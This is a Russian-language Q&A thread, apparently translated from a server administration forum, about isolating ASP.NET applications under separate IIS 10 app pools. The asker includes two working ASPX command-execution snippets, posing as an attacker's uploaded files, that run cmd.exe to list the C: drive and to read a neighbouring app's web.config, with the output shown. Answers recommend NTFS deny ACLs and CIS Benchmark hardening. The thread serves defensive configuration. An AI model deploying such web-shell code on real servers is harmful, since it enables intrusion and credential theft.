Проблема изоляции приложений в IIS 10 (Windows 2016 Server)

Я настраиваю новую машину для размещения нескольких приложений asp.net. Моя цель - максимально изолировать приложения. В случае взлома одного из приложений все остальные должны быть в безопасности.

У меня конфигурация по умолчанию. Есть каталог c: \ wwwroot. В этом каталоге у меня есть папки \ AppA и \ AppB, содержащие файлы приложений. Каталог wwwroot имеет разрешения по умолчанию:

Users - read & execute
IIS_IUSRS - read & execute

Оба приложения запускаются под разными опросами приложений в собственном контексте безопасности:

IIS AppPool\AppA
IIS AppPoll\AppB

Допустим, кто-то взломал AppA и смог загрузить мошеннический файл «dir.aspx»:

<%@ Language=c# runat="server"%>
<html>
<body>
<%
    System.Diagnostics.Process si = new System.Diagnostics.Process();
    si.StartInfo.WorkingDirectory = "c:\\";
    si.StartInfo.UseShellExecute = false;
    si.StartInfo.FileName = "cmd.exe";
    si.StartInfo.Arguments = "/c dir";
    si.StartInfo.CreateNoWindow = true;
    si.StartInfo.RedirectStandardInput = true;
    si.StartInfo.RedirectStandardOutput = true;
    si.StartInfo.RedirectStandardError = true;
    si.Start();
    string output = si.StandardOutput.ReadToEnd();
    si.Close();
    Response.Write(output);
%>
</body>
</html>

Surprise ! В конфигурации по умолчанию злоумышленник имеет доступ для чтения к c: \ - output:

<html>
<body>

 Volume in drive C is System
 Volume Serial Number is ******

 Directory of c:\

05.11.2018  14:39    <DIR>          PerfLogs
21.12.2018  13:55    <DIR>          Program Files
06.11.2018  15:03    <DIR>          Program Files (x86)
20.12.2018  10:08    <DIR>          Users
11.12.2018  01:33    <DIR>          Windows
10.01.2019  19:36    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  109˙008˙580˙608 bytes free


</body>
</html>

Теперь злоумышленник может легко просматривать файлы на всей машине и может получить доступ к AppB для чтения web.config AppB, раскрывающего его учетные данные базы данных и другие конфиденциальные данные:

<%@ Language=c# runat="server"%>
<html>
<body>

<%

System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);

 %>

</body>
</html>

Вывод:

<html>
<body>

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connectionStrings>
    <add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <system.web>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
    <customErrors mode="Off"/>
  </system.web>
</configuration>

</body>
</html>

Вопрос в том, можно ли настроить разрешения IIS для лучшей изоляции приложений? Почему такой сценарий возможен?

0
задан 10 January 2019 в 21:03
2 ответа

Вы можете обойти проблему, установив acl разрешения ntfs для папки «applicationB» с полным запретом «IIS AppPool \ AppA» и наоборот.

Deny

1
ответ дан 4 December 2019 в 13:22

Да, это возможно.

Я могу предоставить общий обзор, но для защиты всей вашей системы вам действительно стоит взглянуть на CIS Benchmarks для IIS и Windows 2016. В этих тестах используется слишком много настроек, чтобы их перечислить здесь, но они сильно заблокируют ваш сервер и обеспечат вам хорошее состояние безопасности.

Но всего пара вещей для начала.

  1. Не надо поместите свои сайты на системный диск. Создайте отдельный диск. Это сделано не только для безопасности, но и для предотвращения нехватки места на системном диске, если вы закачиваете или генерируете слишком много файлов.
  2. Удалите пул приложений и веб-сайт по умолчанию. Даже не используйте папку wwwroot по умолчанию.
  3. Вы хорошо начали с создания отдельных пулов приложений для каждого веб-сайта, но вы можете пойти дальше и ограничить доступ к корневой папке каждого веб-сайта для пула приложений, на котором запущен этот конкретный веб-сайт.

Попробуйте выполнить тесты (эти фрагменты, которые я предоставил, включены в тест), а затем снова запустите тест. По умолчанию Windows не может быть безопасной для этого типа использования (или многих, если вы действительно до этого дойдете).

1
ответ дан 4 December 2019 в 13:22

Теги

Похожие вопросы